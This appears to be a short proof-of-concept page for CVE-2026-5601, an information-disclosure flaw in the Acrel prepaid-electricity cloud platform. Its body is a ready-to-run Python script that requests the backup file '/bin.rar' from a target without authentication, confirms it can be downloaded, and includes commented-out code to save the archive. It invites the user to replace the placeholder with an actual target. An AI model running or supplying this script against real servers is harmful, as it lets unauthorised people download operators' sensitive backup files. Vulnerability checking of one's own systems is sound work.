CVE-2026-5601 Acrel电气预付费云平台信息泄露漏洞

import requests def check_vulnerability(target_url): # Construct the full path to the sensitive backup file vulnerable_path = "/bin.rar" full_url = target_url.rstrip('/') + vulnerable_path try: # Send a GET request without authentication response = requests.get(full_url, timeout=10) # Check if the file exists and is downloadable (HTTP 200 OK) if response.status_code == 200: print(f"[+] Vulnerability confirmed! File downloaded from {full_url}") print(f"[+] File size: {len(response.content)} bytes") # In a real scenario, save the content to disk # with open("backup.bin.rar", "wb") as f: # f.write(response.content) else: print(f"[-] File not accessible. HTTP Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)